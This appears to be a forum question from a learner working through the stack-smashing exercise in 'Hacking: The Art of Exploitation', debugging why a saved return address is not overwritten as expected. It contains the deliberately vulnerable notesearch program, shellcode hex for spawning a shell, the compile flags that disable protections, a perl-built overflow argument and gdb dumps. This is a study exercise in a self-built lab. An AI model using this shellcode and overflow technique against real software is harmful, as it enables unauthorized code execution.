I try to follow the example of stack smashing from the "Hacking The Art of Exploitation". The main code is
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include "hacking.h"
#define FILENAME "/var/notes"
int print_notes(int, int, char *); // Note printing function.
int find_user_note(int, int); // Seek in file for a note for user.
int search_note(char *, char *); // Search for keyword function.
void fatal(char *); // Fatal error handler
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // File descriptor
char searchstring[100];
if(argc > 1) // If there is an arg,
strcpy(searchstring, argv[1]); // that is the search string;
else // otherwise,
searchstring[0] = 0; // search string is empty.
userid = getuid();
fd = open(FILENAME, O_RDONLY); // Open the file for read-only access.
if(fd == -1)
fatal("in main() while opening file for reading");
while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}
Overflow happens at strcpy(searchstring, argv[1])
when we write more than 100 bytes.
I used to create environmental variable with a shell code as mentioned in the book.
c031 db31 c931 b099 cda4 6a80 580b 6851 2f2f 6873 2f68 6962 896e 51e3 e289 8953 cde1 0080
which seems to work, as I tried it in simple program which just call the code.
So I call the program with the parameter which is the 40x repeated address of the env variable which contains she shellcode. I checked the core dump and shellcode is at the correct address.
Now to the main part
When I run the program it prints some notes, but exit with SIGSEGV.
What is interesting, the return address is not what I wanted.
I noticed, that when coping the string to searchstring buffer program overwrites the address where eip address is saved in main function frame, but nevertheless eip is changed to the value from the address 4 bytes below ebp.
Let have a look
=> 0xf7e56ded: 66 0f 74 c3 pcmpeqb %xmm3,%xmm0
(gdb) x/50xw $esp
0xffffcf54: 0x0804a000 0x00000000 0x0804875c 0xffffcf70
0xffffcf64: 0xffffd290 0xf7fcf410 0x08048733 0xffffde0d
0xffffcf74: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffde0d
0xffffcf84: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffde0d
0xffffcf94: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffde0d
0xffffcfa4: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffde0d
0xffffcfb4: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffde0d
0xffffcfc4: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffde0d
0xffffcfd4: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffd000
0xffffcfe4: 0x00000000 0x00000000 0xf7de0e81 0xf7fa0000
0xffffcff4: 0xf7fa0000 0x00000000 **0xf7de0e81** 0x00000002
0xffffd004: 0xffffd094 0xffffd0a0 0xffffd024 0x00000001
0xffffd014: 0x00000000 0xf7fa0000```
eip is in bold
```**(gdb) i f 1**
Stack frame at 0xffffd000:
eip = 0x804875c in main (notesearch.c:21); **saved eip = 0xf7de0e81**
caller of frame at 0xffffcf60
source language c.
Arglist at 0xffffcfe8, args: argc=2, argv=0xffffd094
Locals at 0xffffcfe8, Previous frame's sp is 0xffffd000
Saved registers:
ebx at 0xffffcfe4, ebp at 0xffffcfe8, **eip at 0xffffcffc**
whith the next ni
in GDB the address which holds ebp is overriten, but look, eip is now at different address in frame information, also the address of eip is not yet overriten!!!
(gdb) ni
0xf7e56df1 in ?? () from /lib/i386-linux-gnu/libc.so.6
=> 0xf7e56df1: 66 0f d7 c0 pmovmskb %xmm0,%eax
(gdb)
0xf7e56df5 in ?? () from /lib/i386-linux-gnu/libc.so.6
=> 0xf7e56df5: 83 c3 10 add $0x10,%ebx
(gdb)
0xf7e56df8 in ?? () from /lib/i386-linux-gnu/libc.so.6
=> 0xf7e56df8: 85 c0 test %eax,%eax
(gdb)
0xf7e56dfa in ?? () from /lib/i386-linux-gnu/libc.so.6
=> 0xf7e56dfa: 0f 85 e0 00 00 00 jne 0xf7e56ee0
(gdb)
0xf7e56e00 in ?? () from /lib/i386-linux-gnu/libc.so.6
=> 0xf7e56e00: f3 0f 7f 1c 1a movdqu %xmm3,(%edx,%ebx,1)
(gdb)
0xf7e56e05 in ?? () from /lib/i386-linux-gnu/libc.so.6
=> 0xf7e56e05: 89 c8 mov %ecx,%eax
(gdb) x/50xw $esp
0xffffcf54: 0x0804a000 0x00000000 0x0804875c 0xffffcf70
0xffffcf64: 0xffffd290 0xf7fcf410 0x08048733 0xffffde0d
0xffffcf74: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffde0d
0xffffcf84: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffde0d
0xffffcf94: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffde0d
0xffffcfa4: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffde0d
0xffffcfb4: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffde0d
0xffffcfc4: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffde0d
0xffffcfd4: 0xffffde0d 0xffffde0d 0xffffde0d 0xffffde0d
0xffffcfe4: 0xffffde0d 0xffffde0d 0xffffde0d 0xf7fa0000
0xffffcff4: 0xf7fa0000 0x00000000 **0xf7de0e81** 0x00000002
0xffffd004: 0xffffd094 0xffffd0a0 0xffffd024 0x00000001
0xffffd014: 0x00000000 0xf7fa0000
**(gdb) i f**
Stack level 0, frame at 0xffffcf60:
eip = 0xf7e56e05; saved eip = 0x804875c ***this is return address to main***
called by frame at 0xffffde0d
Arglist at 0xffffcfe8, args:
Locals at 0xffffcfe8, Previous frame's sp is 0xffffcf60
Saved registers:
ebx at 0xffffcf54, edi at 0xffffcf58, eip at 0xffffcf5c
**(gdb) i f 1**
Stack frame at 0xffffde0d:
eip = 0x804875c in main (notesearch.c:21); saved **eip = 0x53e28951**
caller of frame at 0xffffcf60
source language c.
Arglist at 0xffffcfe8, args: argc=-2133991031, argv=0x5f434c00
Locals at 0xffffcfe8, Previous frame's sp is 0xffffde0d
Saved registers:
ebx at 0xffffcfe4, ebp at 0xffffcfe8, **eip at 0xffffde09**
So, once return to main, strange eip address is restored (again this value is from the address just below the address used for stack smashing).
Will be thankful for explanation.
program compiled as
gcc -g -m32 -fno-stack-protector -z execstack -no-pie notesearch.c -o notesearch
and run as
gdb -q --args ./notesearch $(perl -e 'print "\x0d\xde\xff\xff"x40')
User contributions licensed under CC BY-SA 3.0